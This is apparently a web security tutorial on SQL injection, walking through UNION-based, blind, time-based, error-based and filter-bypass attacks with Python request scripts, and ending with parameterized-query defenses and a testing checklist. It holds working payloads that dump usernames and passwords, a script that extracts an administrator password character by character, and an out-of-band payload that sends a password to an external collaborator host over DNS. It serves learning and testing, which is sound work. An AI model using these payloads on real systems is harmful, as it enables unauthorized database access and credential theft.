SQL Injection Vulnerabilities Deep Dive: From UNION Attacks to Blind Exploitation

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. This can enable unauthorized data access, authentication bypass, and in severe cases, complete database compromise. Despite being known for over two decades, SQL injection continues to rank among the OWASP Top 10 most critical web application security risks.

In this comprehensive guide, we'll explore the full spectrum of SQL injection vulnerabilities—from simple in-band attacks to sophisticated blind exploitation techniques. Each section includes practical exploitation methods using Python and the requests library, along with defensive recommendations.

Understanding SQL Injection: The Fundamentals

SQL injection occurs when user-supplied input is incorporated into SQL queries without proper validation or sanitization. The attacker can then manipulate the query structure to execute unintended commands.

-- Original Query
SELECT * FROM users WHERE username = '[input]' AND password = '[input]'

-- Attacker Input (username)
administrator'--

-- Resulting Query
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

-- The -- comments out the password check, allowing login without credentials

Key SQL Injection Concepts

Category 1: In-Band SQL Injection (UNION-Based)

In-band SQL injection is the most straightforward type, where the attacker can see the results of their injected queries directly in the application's response. UNION-based attacks are the most common form.

Determining the Number of Columns

Before executing a UNION attack, you must determine how many columns the original query returns. Two methods are commonly used:

# Python script to determine column count
import requests

def find_column_count(url, param):
    for i in range(1, 50):
        payload = f"' ORDER BY {i}--"
        response = requests.get(f"{url}?{param}={payload}")
        
        if "error" in response.text.lower() or response.status_code == 500:
            return i - 1  # Previous value was the last valid
    
    return None

# Usage
columns = find_column_count("https://target.com/products", "category")
print(f"Query returns {columns} columns")

# Payloads to test
UNION SELECT NULL--
UNION SELECT NULL, NULL--
UNION SELECT NULL, NULL, NULL--

# When the number matches, the page returns normally
# (possibly with an extra row of NULL values)

Finding Columns with Useful Data Types

After determining the column count, probe each column to find which can hold string data (necessary for extracting text like usernames and passwords):

# Testing each column for string compatibility
# Assuming 4 columns:

UNION SELECT 'a', NULL, NULL, NULL--    # Test column 1
UNION SELECT NULL, 'a', NULL, NULL--    # Test column 2
UNION SELECT NULL, NULL, 'a', NULL--    # Test column 3
UNION SELECT NULL, NULL, NULL, 'a'--    # Test column 4

# If no error occurs, that column can hold strings

Retrieving Data from Other Tables

Once you've identified string-capable columns, you can extract data from other database tables:

# Original query
SELECT name, description FROM products WHERE category = 'Gifts'

# Injected payload
' UNION SELECT username, password FROM users--

# Result: Application displays product names/descriptions
# PLUS all usernames and passwords from the users table

# Oracle syntax
' UNION SELECT username || '~' || password FROM users--

# MySQL syntax
' UNION SELECT CONCAT(username, '~', password) FROM users--

# PostgreSQL syntax
' UNION SELECT username || '~' || password FROM users--

# Result: admin~secretpass123
#         user1~password456
#         etc.

Category 2: Database Enumeration

After confirming SQL injection, the next step is gathering information about the database structure. This helps plan further exploitation.

Identifying Database Type and Version

Listing Database Contents

Most databases (except Oracle) have an information_schema that provides metadata about database structure:

-- Get all table names
SELECT table_name FROM information_schema.tables

-- Get columns from specific table
SELECT column_name FROM information_schema.columns 
WHERE table_name = 'users'

-- Get actual data
SELECT username, password FROM users

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS'

Category 3: Blind SQL Injection

Blind SQL injection occurs when the application doesn't return query results or database errors in its responses. The attacker must infer information through indirect methods.

Blind SQLi with Conditional Responses

The application responds differently based on whether the injected condition is true or false:

import requests
import string

def blind_sqli_extract(url, param, query):
    extracted = ""
    
    for position in range(1, 50):  # Max 50 characters
        for char in string.ascii_lowercase + string.digits + '_':
            # Build conditional payload
            payload = f"' AND {query}='{char}'--"
            
            response = requests.get(f"{url}?{param}={payload}")
            
            # Check if response indicates TRUE condition
            if "Welcome" in response.text or response.status_code == 200:
                extracted += char
                print(f"Extracted so far: {extracted}")
                break
    
    return extracted

# Usage: Extract administrator password
query = "(SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator')"
password = blind_sqli_extract("https://target.com/filter", "category", query)

Blind SQLi with Conditional Errors

Some applications don't change their response content, but do return different HTTP status codes or error messages when database errors occur:

# Trigger error only if condition is TRUE
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

# If 1=1 is true, division by zero causes error
# If 1=1 is false, query returns 'a' without error

# Exploitation pattern:
' AND (SELECT CASE WHEN (username='administrator') 
    THEN 1/0 ELSE 'a' END FROM users)='a

# Error = username exists
# No error = username doesn't exist

Blind SQLi with Time Delays

When responses are identical regardless of the condition, time-based techniques can infer data by measuring response times:

-- PostgreSQL
'; SELECT pg_sleep(10)--

-- MySQL
'; SELECT SLEEP(10)--

-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(10); END;--

-- SQL Server
'; WAITFOR DELAY '0:0:10'--

# Conditional time delay:
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(10) 
    ELSE pg_sleep(0) END)--

# If condition is TRUE: 10 second delay
# If condition is FALSE: Immediate response

import requests
import time

def time_based_sqli(url, param, query):
    start = time.time()
    
    payload = f"' AND {query}--"
    response = requests.get(f"{url}?{param}={payload}")
    
    elapsed = time.time() - start
    
    if elapsed > 5:  # Threshold for delay
        return True  # Condition is TRUE
    else:
        return False  # Condition is FALSE

# Extract password length
query = "(SELECT LENGTH(password) FROM users WHERE username='administrator')=10"
if time_based_sqli("https://target.com/filter", "category", query):
    print("Password is 10 characters long")

Category 4: Error-Based SQL Injection

Error-based SQL injection exploits verbose database error messages to extract data. Misconfigured databases may reveal query structure or even data in error messages.

Extracting Data via Error Messages

-- Attempt to convert password (string) to integer
SELECT CAST((SELECT password FROM users WHERE username='admin') AS int)

-- Error message reveals the password:
ERROR: invalid input syntax for type integer: "supersecret123"

# This effectively turns blind SQLi into visible SQLi

Category 5: Filter Bypass Techniques

Web Application Firewalls (WAFs) and input filters often block common SQL injection keywords. Various encoding and obfuscation techniques can bypass these protections.

XML Encoding Bypass

Some applications process XML input. XML entity encoding can obfuscate SQL keywords:

<!-- Normal SQL injection (blocked by WAF) -->
<productId>123' UNION SELECT * FROM users--</productId>

<!-- XML-encoded bypass -->
<productId>123' UNION SELECT * FROM users--</productId>

<!-- S = S, E = E, L = L, E = E, C = C, T = T -->
<!-- Decodes to: SELECT on the server side -->

Other Bypass Techniques

• Case Variation: SeLeCt, UNiOn (case-insensitive databases)
• URL Encoding: %27 for ', %20 for space
• Double URL Encoding: %2527 for '
• Unicode Encoding: %u0027 for '
• Comment Obfuscation: ///!50000SELECT (MySQL version-specific)
• Alternative Whitespace: %09 (tab), %0a (newline), %0c (form feed)

Advanced Exploitation: Out-of-Band (OAST) SQL Injection

Out-of-band SQL injection triggers DNS or HTTP requests to an external server, allowing data exfiltration even when responses aren't visible:

-- SQL Server OAST (DNS lookup)
'; EXEC master..xp_dirtree '//0efdymgw1o5w9ina.burpcollaborator.net/a'--

-- Exfiltrating data via DNS
'; DECLARE @p varchar(1024);
   SET @p = (SELECT password FROM users WHERE username='Administrator');
   EXEC('master..xp_dirtree "//'+@p+'.burpcollaborator.net/a"')--

-- Result: DNS query to "supersecret123.burpcollaborator.net"
-- Attacker captures the subdomain = password

Impact of SQL Injection

Prevention Strategies

SQL injection is entirely preventable with proper development practices. Here are the most effective defenses:

# ❌ Vulnerable (string concatenation)
query = f"SELECT * FROM users WHERE username = '{username}'"

# ✅ Secure (parameterized)
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))

SQL Injection Testing Checklist

□ Test all input fields (forms, URL parameters, headers, cookies)
□ Submit single quote (') and look for errors
□ Test boolean conditions (OR 1=1, OR 1=2)
□ Test time-based payloads (SLEEP, WAITFOR, pg_sleep)
□ Test UNION-based attacks (determine column count first)
□ Test error-based extraction (CAST, CONVERT functions)
□ Test different encodings (URL, XML, Unicode)
□ Test database-specific syntax (Oracle, MySQL, PostgreSQL, SQL Server)
□ Test information_schema queries for enumeration
□ Test OAST techniques for blind SQLi confirmation
□ Test second-order SQL injection (stored data used in queries)
□ Test out-of-band channels (DNS, HTTP callbacks)

Conclusion

SQL injection remains one of the most dangerous and prevalent web security vulnerabilities. From simple authentication bypasses to complete database compromise, the impact ranges from minor data exposure to catastrophic breaches.

The good news? SQL injection is entirely preventable. By using parameterized queries, implementing proper input validation, and following secure development practices, developers can eliminate this vulnerability class from their applications.

As you build or audit applications, remember: never trust user input, always use parameterized queries, and test thoroughly. The attackers are certainly testing your defenses—make sure they fail.